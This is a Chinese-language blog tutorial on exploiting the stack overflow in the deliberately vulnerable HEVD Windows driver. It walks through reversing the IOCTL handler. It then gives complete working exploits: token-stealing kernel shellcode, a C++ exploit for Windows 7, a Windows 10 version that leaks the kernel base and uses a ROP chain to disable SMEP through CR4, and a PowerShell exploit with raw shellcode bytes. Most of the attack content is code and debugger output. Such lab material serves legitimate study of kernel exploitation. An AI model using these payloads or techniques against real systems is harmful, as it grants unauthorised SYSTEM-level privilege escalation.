HEVD Window Kernel Exploit 01 - StackOverflow

 

栈溢出是一个最基本的漏洞利用方式,这里我们利用这个作为入门学习,了解一下在 Windows Kernel 下触发栈溢出时,与User Mode的不同之处。

 

漏洞程序

找到之前准备好的HackSysExtremeVulnerableDriver.sys,里面有一个准备好的带有栈溢出的函数,叫做StackOverflowIoctlHandler。我们通过逆向,找到对应触发函数的IOCTL:

记录下此时的 IOCTL Code 为 222003h。之后我们来看这个程序的内部逻辑:

int __stdcall StackOverflowIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2)
{
  int v2; // ecx
  HANDLE v3; // edx

  v2 = 0xC0000001;
  v3 = a2->Parameters.SetFile.DeleteHandle;
  if ( v3 )
    v2 = TriggerStackOverflow(v3, a2->Parameters.Create.Options);
  return v2;
}

PS:这类IOCTL Handle Routine的传入参数类型是固定的,一定是第一个为PRIR,第二个为PIO_STACK_LOCATION,如果没有识别出参数的话,可以直接指定参数类型
此时发现,这个a2好像识别的有一点问题,从函数名也能猜到,程序逻辑本身应该是一个读取Buffer的逻辑,不应该和SetFile这类文件操作相关,所以这里推测,应该是PIO_STACK_LOCATION结构体中存在union结构,所以此时识别的结构体出现了错误。这个时候回退到Disassembly的界面,然后在参数的位置处右键,选择Structure Offset,就能够修改当前结构体识别的类型。

这里我们修改成和DeviceIoControl相关的DeviceIoControl.Type3InputBuffer,下面的参数也修改成DeviceIoControl.InputBufferLength,整个逻辑就变成了

int __stdcall StackOverflowIoctlHandler(PIRP a1, _IO_STACK_LOCATION *a2)
{
  int v2; // ecx
  PVOID Buffer; // edx

  v2 = 0xC0000001;
  Buffer = a2->Parameters.DeviceIoControl.Type3InputBuffer;
  if ( Buffer )
    v2 = TriggerStackOverflow(Buffer, a2->Parameters.DeviceIoControl.InputBufferLength);
  return v2;
}

此时逻辑就清晰了很多:读取IO_STACK_LOCATION指针指向的Buffer内容,并且将Buffer的和Buffer的长度传入到触发函数中。并且触发函数中的内容如下:

int __stdcall TriggerStackOverflow(void *Address, size_t MaxCount)
{
  char Dst; // [esp+14h] [ebp-81Ch]
  CPPEH_RECORD ms_exc; // [esp+818h] [ebp-18h]

  memset(&Dst, 0, 0x800u);
  ms_exc.registration.TryLevel = 0;
  ProbeForRead(Address, 0x800u, 4u);
  DbgPrint("[+] UserBuffer: 0x%p\n", Address);
  DbgPrint("[+] UserBuffer Size: 0x%X\n", MaxCount);
  DbgPrint("[+] KernelBuffer: 0x%p\n", &Dst);
  DbgPrint("[+] KernelBuffer Size: 0x%X\n", 2048);
  DbgPrint("[+] Triggering Stack Overflow\n");
  memcpy(&Dst, Address, MaxCount);
  return 0;
}

简单介绍一下内核函数ProbeForRead

void ProbeForRead(
  const volatile VOID *Address,
  SIZE_T              Length,
  ULONG               Alignment
);

函数能够检查当前的地址是否属于用户态(访问地址是否越界),并且检查当前的地址是否是按照第三个参数要求的 Alignment 进行对齐。然后就会将当前传入的Buffer按照Buffer本身的MaxCount拷贝到栈上,从而造成栈溢出。

 

利用分析

整个逻辑是分析清楚了:只要使用DeviceIoControl从用户端这边发送请求,并且使用的是Buffer,而且大小超过了0x81c,就会发生栈溢出,造成返回值被劫持。

提权相关

单纯劫持返回值还不够,因为内核态并没有类似于用户态中的system这类方便的劫持函数。在内核态实现劫持,根据平台的不同,会使用的不同的劫持方式

WIN7

在Win7阶段,内核态并没有做过多的限制,所以可以在内核态执行用户态的程序。那么如果劫持了返回值,那么便是可以运行由我们自己申请的地址空间上的shellcode。一般的逻辑如下:
首先在Windows操作系统中,所有的东西都被视为对象,每一个对象都有一个安全描述符(security descriptors)(长得有点像(A;;RPWPCCDCLCRCWOWDSDSW;;;DA)这样的)其在内存中存储的形式通常为一个token。它会描述当前进程的所有者,以及其的相关权限,包括对文件的操作等等。这里最高的权限就是NT AUTHORITY\SYSTEM,系统权限拥有对所有文件的任意权力(相当于是root)。所以一般的提权思路就是:

  1. 遍历当前所有进程
  2. 找到当前进程中的系统进程(通常来说进程号4的进程就是系统进程啦)
  3. 将其的安全描述符token复制到当前进程的安全描述符中,即可完成提权

能够找到的payload如下

      pushad                               ; Save registers state

      ; Start of Token Stealing Stub
      xor eax, eax                         ; Set ZERO
      mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                            ; _KTHREAD is located at FS:[0x124]

      mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

      mov ecx, eax                         ; Copy current process _EPROCESS structure

      mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

      SearchSystemPID:
          mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
          sub eax, FLINK_OFFSET
          cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
          jne SearchSystemPID

      mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
      mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                            ; with SYSTEM process nt!_EPROCESS.Token
      ; End of Token Stealing Stub

      popad                                ; Restore registers state

      ; Kernel Recovery Stub
      xor eax, eax                         ; Set NTSTATUS SUCCEESS
      add esp, 12                          ; Fix the stack
      pop ebp                              ; Restore saved EBP
      ret 8                                ; Return cleanly

 

EXP实现

内核态的通信和用户态不太一样。看过的教材中有使用C语言直接编译exe的,也有使用python/powershell调用库进行攻击的。于是这里打算介绍一下最普通的使用C语言的攻击,以及最近比较流行的使用powershell进行的攻击(这一类似乎被称之为fileless attack)

C语言

通讯准备

首先要能够实现最基本的通信,使用C(Cpp)的话,需要直接调用Windows系列的API对文件进行操作,如下:

#include "pch.h"
#include <iostream>
#include <Windows.h>

#define DEVICE_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"

HANDLE GetDeviceHandle() {
    HANDLE hRet = NULL;
    hRet = CreateFile(
        DEVICE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );
    if (hRet == INVALID_HANDLE_VALUE) {
        std::cout << "Error open Device with error code " << GetLastError() << std::endl;
    }
    return hRet;
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
    HANDLE hDev = GetDeviceHandle();
    if (!hDev)
        return;
    std::cout << "We Get handle is :" << std::hex << hDev << std::endl;

    DWORD dwSize = 0x818;
    DWORD dwRetSize = 0;
    CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
    RtlFillMemory(Buffer, dwSize, 'A');

    OutputDebugString(L"[+]  =========== Kernel Mode  =============== [+]");
    DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
    OutputDebugString(L"[+]  =========== IOCTL Finish =============== [+]");

    std::cout << "Finish Send IOCTL" << std::endl;
    HeapFree(GetProcessHeap(), 0, Buffer);
    Buffer = NULL;
}
int main()
{
    std::cout << "[+] Exerciese: Stack Overflow\n"; 
    TriggerStackOverFlow(0x222003);
}

提权攻击(Win7)

由于Win7上暂时没有太多的防护,所以可以直接使用拷贝token的方式进行提权。这里直接通过计算好返回值所需要的padding,然后让返回的地址跳转到我们自己申请的内存空间上来实现攻击。不过这里要考虑一件事情:以前我们都是直接弹出一个cmd结束攻击,然而提权攻击却不能只弹出一个cmd就完成攻击,这意味着类似BufferOverflow这类攻击如果将栈的内容进行了修改之后,我们需要有一个防止系统发现栈被破坏的操作。为了实现这一点,我们需要先观察一下栈中的内容:

eax=00000000 ebx=9bf375f0 ecx=00000000 edx=00000000 esi=c00000bb edi=9bf37580
eip=9ddf4dde esp=a36bda14 ebp=a36bda14 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
HackSysExtremeVulnerableDriver!StackOverflowIoctlHandler+0x20:
9ddf4dde 5d              pop     ebp; ret     8
1: kd> ddp esp
a36bda14  a36bda30 ;上一个栈的ebp
a36bda18  9ddf42d3 ;函数返回值,即将被我们劫持
a36bda1c  9bf37580 ;
a36bda20  9bf375f0 
a36bda24  00060000 ;ret之后,esp实际指向的位置
a36bda28  a79efa88 
a36bda2c  b01a6b0e 
a36bda30  a36bda4c ;函数 StackOverflowIoctlHandler 保存的的ebp
a36bda34  81a3f958 ;函数 StackOverflowIoctlHandler 保存的返回值
a36bda38  a79efa88 00b80003
a36bda3c  9bf37580 00940006

在距离返回值地址的0x18的位置上,正好有上一个函数的返回地址,所以当我们劫持了这个函数返回值的时候,在shellcode的末尾,我们可以加上一些额外的指令来实现恢复栈

xor eax, eax  ;伪装返回值
add esp, 12   ;将栈调整到 StackOverflowIoctlHandler 的位置上
pop ebp 
ret 8         ;这个地方照着 TriggerStackOverFlow 的结尾汇编写

这里我们参考HEVD给出的参考答案:

#include "pch.h"
#include "payload.h"
#include <iostream>
#include <Windows.h>

#define DEVICE_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
        ; _KTHREAD is located at FS : [0x124]

        mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, FLINK_OFFSET
        cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
        ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax; Set NTSTATUS SUCCEESS
        add esp, 12; Fix the stack
        pop ebp; Restore saved EBP
        ret 8; Return cleanly
    }
}

HANDLE GetDeviceHandle() {
    HANDLE hRet = NULL;
    hRet = CreateFile(
        DEVICE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );
    if (hRet == INVALID_HANDLE_VALUE) {
        std::cout << "Error open Device with error code " << GetLastError() << std::endl;
    }
    return hRet;
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
    HANDLE hDev = GetDeviceHandle();
    if (!hDev)
        return;
    std::cout << "We Get handle is :" << std::hex << hDev << std::endl;

    DWORD dwSize = 0x824;
    DWORD dwRetSize = 0;
    PVOID ExpAddress = &TokenStealingPayloadWin7;
    PVOID RetAddress = NULL;
    CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
    RtlFillMemory(Buffer, dwSize, 'A');

    // calculate ret address
    RetAddress = &Buffer[0x820];
    *(PULONG)RetAddress = (ULONG)ExpAddress;

    OutputDebugString(L"[+]  =========== Kernel Mode  =============== [+]");
    DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
    OutputDebugString(L"[+]  =========== IOCTL Finish =============== [+]");

    std::cout << "Finish Send IOCTL" << std::endl;
    HeapFree(GetProcessHeap(), 0, Buffer);
    Buffer = NULL;
}
int main()
{
    std::cout << "[+] Exerciese: Stack Overflow\n"; 
    TriggerStackOverFlow(0x222003);
}

提权攻击(Win10)

然而,如果用上述exp的话,似乎并没有那么顺利。我们调试可以看到如下结果:

HackSysExtremeVulnerableDriver!TriggerStackOverflow+0xc8:
9ddf4eaa c9              leave
9ddf4eab c20800          ret     8
;如果从这里执行下去的话,会看到如下的指令
1: kd> t
00f214b0 53              push    ebx
1: kd> u 00f214b0
00f214b0 53              push    ebx
00f214b1 56              push    esi
00f214b2 57              push    edi
00f214b3 60              pushad
00f214b4 33c0            xor     eax,eax
00f214b6 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
00f214bd 8b4050          mov     eax,dword ptr [eax+50h]
00f214c0 8bc8            mov     ecx,eax

乍一看好像是成功的,但是如果让程序继续执行的话就会爆出如下的错误:

1: kd> t
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000000fc
                       (0x00F214B0,0x25EEE125,0xA37449A0,0x80000005)


A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

这个错误码的意思是ATTEMPTED EXECUTE ON NOEXECUTE MEMORY,因为从Win 8.1 开始,Windows 就有了一种新的保护措施,叫做Supervisor Mode Execution Prevention(SMEP)。在这个保护下,不能在ring 0 的环境中执行 ring 3的代码。到了这个时候,就需要使用一些特殊的手段关闭这个特性。最常见的手段就是利用ROP攻击,修改cr4寄存器内容。一个常见的函数就是:

.text:00401000
...

.text:0048BF1D                 pop     eax
.text:0048BF1E                 retn

KeFlushCurrentTb

.text:0057DF86                 mov     cr4, eax
.text:0057DF89                 retn
; 这里用IDA观察有一个bug(?),内存中的一些值没有按照真正的值进行映射(也可能是相对偏移的锅?)然后导致一些数据的位置不对。。。最后的偏移量需要动态调试得到

利用这个ROP,让RCX赋值为CR4。不过这里注意一点,由于这里使用的,此时如果使用IDA观察的话,需要知道当前段映射的真正偏移量。这个可以通过观察如下的特征知道:

.text:00401000 ; Section 1. (virtual address 00001000)
.text:00401000 ; Virtual size                  : 00295B24 (2710308.)
.text:00401000 ; Section size in file          : 00295C00 (2710528.)

每个段开头都会有一个virtual address,这个值表示的是当前段会映射的地址,具体计算方式为real_address = image_base_address + virtual_address。也就是说此时的.text段在内存中的真正的地址为:
real_text = image_base_address + 0x1000

然后我们需要观察cr4此时的正确的值。首先我们找到储了问题时的cr4:

For analysis of this file, run !analyze -v
nt!RtlpBreakWithStatusInstruction:
81b66484 cc              int     3
1: kd> r cr4
cr4=001406e9

上网查找可知,第20bit为1表示的是SMEP打开(记得从低位往高位数,并且第一位数字是第0bit,第二位数字是第1bit),那么我们只需要将这一bit置0,即可以将这种防护关闭,此时也就是将值改成0x0406e9
有了ROP,那么我们就需要一个泄露内核地址的途径。这里有两种不同的方式,一个叫做:EnumDrivers的API,另一种是利用NtQueryInformationSystem的方式获取。前者是官方给出的API,通过调用直接获取地址,而后者是则是通过逆向分析+动态调试,验证可知当前的地址空间上存放的是ntoskrl.exe的基地址。
前者直接就是一个API:

BOOL EnumDeviceDrivers(
  LPVOID  *lpImageBase,
  DWORD   cb,
  LPDWORD lpcbNeeded
);

并且据观察,返回的地址数组中lpImageBase,第一个就是ntoskrl.exe的基地址。不过使用这个方法的时候,需要用到管理员权限。
这里打算用第一种方法实现地址泄露,第二种攻击方法参考https://www.anquanke.com/post/id/173144
这里贴出用NtQueryInformationSystem的exp

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemModuleInformation = 11,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG NumberOfModules;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _ROP {
    PUCHAR PopRcxRet;
    PUCHAR Cr4RegValue;
    PUCHAR MovCr4EcxRet;
} ROP, *PROP;

typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

__int64* GetKernelBase()
{
    DWORD len;
    PSYSTEM_MODULE_INFORMATION ModuleInfo;
    __int64 *kernelBase = NULL;
    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
        GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL) {
        return NULL;
    }
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!ModuleInfo)
    {
        return NULL;
    }
    NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
    kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase;
    VirtualFree(ModuleInfo, 0, MEM_RELEASE);
    return kernelBase;
}

回到正文,此时代码修改如下:

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
        ; _KTHREAD is located at FS : [0x124]

        mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, FLINK_OFFSET
        cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
        ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax; Set NTSTATUS SUCCEESS
        add esp, 0x1c; Fix the stack
        pop ebp; Restore saved EBP
        ret 8; Return cleanly
    }
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
    HANDLE hDev = GetDeviceHandle();
    if (!hDev)
        return;
    std::cout << "We Get handle is :" << std::hex << hDev << std::endl;

    DWORD dwSize = 0x824 + 0x4/*pop ecx*/+ 0x4 * 2/*padding for esp*/+ 0x4/*ecx real value*/ + 0x4/*mov cr4 */;
    DWORD dwRetSize = 0;
    PVOID ExpAddress = &TokenStealingPayloadWin7;
    PVOID RetAddress = NULL;
    CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);

    // prepare ROP
    DWORD dwBaseAddress = LeakNtoskrlBaseAddr();
    std::cout << "Leak Device Address " << std::hex << dwBaseAddress << std::endl;

    // get ROP address
    DWORD dwSegBaseAddr = 0x00401000;
    DWORD dwSegOffset = 0x1000;
    DWORD dwRealPOPECX, dwBasePOPEAX = 0x0048BF1D;
    DWORD dwRealMOVCR4, dwBaseMOVCR4 = 0x0057DF86;
    dwRealMOVCR4 = dwBaseMOVCR4 - dwSegBaseAddr + dwBaseAddress + dwSegOffset;
    dwRealPOPECX = dwBasePOPEAX - dwSegBaseAddr + dwBaseAddress + dwSegOffset;

    std::cout << "[+] pop ecx is " << std::hex << dwRealPOPECX << std::endl;
    std::cout << "[+} mov cr4 is " << std::hex << dwRealMOVCR4 << std::endl;

    puts("[+] Begin to attack");
    getchar();
    // write it to attack buffer
    RtlFillMemory(Buffer, dwSize, 'A');
    RetAddress = &Buffer[0x820];
    *(PULONG)RetAddress = (ULONG)dwRealPOPECX;
    RetAddress = &Buffer[0x82c];
    *(PULONG)RetAddress = (ULONG)0x406e9;
    RetAddress = &Buffer[0x830];
    *(PULONG)RetAddress = (ULONG)dwRealMOVCR4;
    RetAddress = &Buffer[0x834];
    *(PULONG)RetAddress = (ULONG)ExpAddress;

    OutputDebugString(L"[+]  =========== Kernel Mode  =============== [+]");
    DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
    OutputDebugString(L"[+]  =========== IOCTL Finish =============== [+]");

    std::cout << "Finish Send IOCTL" << std::endl;
    HeapFree(GetProcessHeap(), 0, Buffer);
    Buffer = NULL;
}

不过这里由于引入了ROP,这里需要重新讨论一下栈的地址。
此时->指向的是之后会修改成的内容。由于加入了ROP,导致原先利用的返回值会被覆盖掉,所以这里需要重新调整返回值,让esp在调用exp的地址后,加上0x1c,让其跳转到nt!IofCallDriver的返回值,从而恢复调用栈。

Powershell版本

本质上差不多,不过这边使用的是Powershell下的编程:

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD2
{
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr ptrAddress,
        uint dwSize,
        UInt32 AllocationType,
        UInt32 Protext
    );

    [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesireAccess,
        UInt32 dwSharingMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile
    );

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped); 

    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();

    [DllImport("psapi")]
    public static extern bool EnumDeviceDrivers(
        [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] UInt32[] ddAddresses,
        UInt32 arraySizeBytes,
        [MarshalAs(UnmanagedType.U4)] out UInt32 bytesNeeded
    );
}
"@

Function LeakBaseAddress(){
    $dwByte = 0
    $status=[bool] [EVD2]::EnumDeviceDrivers(0, 0, [ref]$dwByte)
    if(!$status){
        echo $("[*] Unable to enum device.... with error 0x{0:x}`n" -f [EVD2]::GetLastError())
    }
    $ptrAddress = [Uint32[]](9)*0x1000
    $status=[bool] [EVD2]::EnumDeviceDrivers([UInt32[]]$ptrAddress, $dwByte+10, [ref]$dwByte)
    # echo $("Address is {0:x}" -f $ptrAddress[0])
    return $ptrAddress[0]
}

$hDevice = [EVD2]::CreateFile("\\.\HackSysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if($hDevice -eq -1){
    echo "`n[*] Unbale to open this driver...`n"
    Return
}

echo "`[+] The Device object is $($hDevice) "
# then we need create an array with buffer
[Int32]$dwSize = 0x820
# +0x4+0x8+0x4+0x4
# alloc buffer for shellcode
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x53,                                       # push    ebx
    0x56,                                       # push    esi
    0x57,                                       # push    edi
    0x60,                                       # pushad
    0x33, 0xC0,                                 # xor eax, eax
    0x64, 0x8B, 0x80, 0x24, 0x01, 0x00, 0x00,   # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x80, 0x80, 0x00, 0x00, 0x00,         # mov eax, [eax + EPROCESS_OFFSET]
    0x8B, 0xC8,                                 # mov ecx, eax (Current _EPROCESS structure)
    # 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xFC, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xFC, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x33, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x83, 0xc4, 0x1c,                   # add esp, 1ch
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)

[IntPtr]$Pointer = [EVD2]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"

$leakAddress = LeakBaseAddress
echo $("Address is {0:x}" -f $leakAddress)
$dwSegBaseAddr = 0x401000
$dwSegOffset = 0x1000
$dwBasePOPEAX = 0x0048BF1D
$dwBaseMOVCR4 = 0x0057DF86
$dwRealMOVCR4 = $dwBaseMOVCR4 - $dwSegBaseAddr + $leakAddress + $dwSegOffset
$dwRealPOPEAX = $dwBasePOPEAX - $dwSegBaseAddr + $leakAddress + $dwSegOffset
$dwCR4 = 0x406e9
echo "[+] pop eax is $($dwRealPOPEAX) `n[+] mov cr4 is $($dwRealMOVCR4)`n"

# finally we write buffer
$Buffer = [Byte[]](0x41)*$dwSize + [System.BitConverter]::GetBytes($dwRealPOPEAX) + [Byte[]](0x41)*8 + [System.BitConverter]::GetBytes($dwCR4) + [System.BitConverter]::GetBytes($dwRealMOVCR4) + $EIP

[EVD2]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null

攻击结果

不知道为啥,提权有时候会失败,不过失败了似乎也没有进入蓝屏的样子…

使用powershell进行攻击的结果如下

(完)